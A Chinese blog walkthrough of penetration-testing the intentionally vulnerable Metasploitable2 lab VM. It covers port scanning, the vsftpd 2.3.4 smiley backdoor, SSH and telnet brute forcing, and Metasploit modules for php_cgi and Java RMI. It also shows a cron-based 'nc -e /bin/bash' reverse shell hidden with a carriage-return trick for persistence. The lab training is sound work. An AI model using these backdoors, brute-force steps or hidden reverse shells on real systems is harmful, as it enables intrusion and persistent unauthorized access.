THIS IS B3c0me

记录生活中的点点滴滴

0%

Metasploitable2

前言

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后,使用用户名:msfadmin 和密码msfadmin登陆 适用于学习网络安全新手学习

参考文章:

一、渗透环境

  • 操作机:kali-linux2023-3
    • IP:192.168.19.133(随机)
  • 靶机:metaspolitable2
    • IP:192.168.19.209

二、信息收集

2.1 nmap扫描

1
2
#不进行DNS解析的服务版本探测、SYN半开扫描
nmap -sS -sV -n 192.168.19.209

可以看到开放的端口服务还是很多的,应该有很多地方可以探索和学习。

三、漏洞利用

列个漏洞清单

端口/服务 端口/服务
21 / 弱口令 445 / 已测试
22 / 弱口令 512 / rlogin
53 - 1099 / java_rmi_server
23 /弱口令 25 -
80 - php_cgi 154 msfable 后门
111 - 2049 / NFS共享漏洞
139 / smb 2121 -
3306 / 空密码 3632 / distcc_exec
5432 / postgresql 5900 / VNC
6000 - 6667 / unreal_ircd
6697 / unreal_ircd 8009-
8180 / tomcat 8787 / drb_remote_codeexec

3.1 21端口vsftpd

版本是2.3.4 可以想到笑脸漏洞后门

方法一: msf中利用脚本运行

1
2
3
4
5
6
7
8
9
10
11
12
#查找漏洞模块
search vsftpd
#使用模块
use [模块名称]
#查看payload设置
options
#设置目标机
set rhosts 192.168.19.209
#开始攻击
exploit

成功拿到shell

方法二:手工激活后门漏洞

在发送的用户名后面加上 “:)”(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击

1
2
3
4
5
6
7
#使用nc连接靶机的21端口(ftp)
nc 192.168.19.209 21
user root:)
pass 123456

#nc连接目标机6200端口,拿到shell
nc 192.168.19.209 6200

3.2 22端口SSH服务暴力破解

方法一:使用MSF

  • 搜索模块
1
search ssh_login

  • 配置参数

    1
    2
    3
    set rhosts 192.168.19.209
    set user_file /home/kali/temp/user.txt #设置暴力破解所用的用户名字典
    set pass_file /home/kali/temp/pass.txt #设置暴力破解所用的密码字典
  • 成功爆破账号密码

方法二:使用Hydra

提示没有匹配的秘钥算法。原因是 Terminal 找不到支持的密钥交换方法,因为新版 Openssh 中认为 SHA1 这种 hash 散列算法过于薄弱,已经不再支持,所以我们需要手动去允许对于 SHA1 的支持。

尝试解决:

解决方案1:连接成功!

1
ssh -p 22 -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.19.209

解决方案2:

在生成公钥的 ~/.ssh 文件夹下,(如果没有的话)新建一个 config 文件( config 文件没有后缀),文件中添加如下内容:

1
2
3
Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

​ 再次尝试连接,失败!

在上述的config文件中加上ssh-dss试试:还是连接失败

可能是没有生成秘钥的原因,生成一对试试:还是连接失败!

总结:优先使用方案一。

创建隐藏任务反弹shell

进入/tmp目录,使用vim命令创建task.sh文件,文件内容为:

1
2
#!/bin/bash
nc 目标机IP 7777 -e /bin/bash

命令的意思是:使用bin/bash里面的shell,用nc命令反弹shell,反弹到攻击机的7777端口,-e代表需要执行的指令,这里是要执行/bin/bash。

输入ls -l tash.sh命令,查看文件可执行权限。发现文件权限为:-rw-r–r– ,可读可写,但是没有可执行权限,因此需要添加命令chmod +x tash.sh。

创建create_tash.sh文件,向里面写入如下内容:

1
(crontab -l;printf “* * * * * /tmp/task.sh;\rno crontw-wab for’whoami’%100c\n”)|crontab -

命令的意思是:-l 查看计划任务。输出* * * * *,每隔一分钟执行tmp下面的tash.sh文件。\r是换行符。其余后面的参数都是计划任务。

另外,此处也需要添加执行权限,使用命令chmod +x create_task.sh。

尝试nc连接目标主机的shell

重新打开一个终端,输入nc -lvp 7777命令后,等待了很久,发现没有反应,后来发现是没有开启计划任务,于是我们进入上一个终端输入./create_tash.sh命令启动任务计划。最后连接上了靶机。

思考:为什么以及获取到用户名和密码还要创建任务计划反弹shell呢?

为了权限维持,当靶机修改密码或关机后,使用用户名和密码我们会连接不上,而计划任务则可以保持连接

3.3 23端口telnet暴力破解

  • 暴力破解telnet
1
2
3
set username msfadmin
set pass_file (密码字典)
exploit #成功爆破

  • telnet登入靶机

    1
    telnet 192.16.19.209

3.4 80端口

Apache httpd 2.2.8 ((Ubuntu) DAV/2)

访问80端口发现有几个应用程序

访问phpinfo.php可以得到php配置信息,这里使用了CGI

3.4.1 从CGI切入

  • 在MSF搜索到一个php_cgi的攻击模块

  • 尝试攻击,成功拿到meterpreter

    1
    2
    set rhosts 192.168.19.209
    exploit

3.5 139&445端口Samba共享服务

samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。
https://blog.csdn.net/m0_72193631/article/details/131145043)

3.6 1099端口JavaRMI

使用msf一步拿下meterpreter

欢迎关注我的其它发布渠道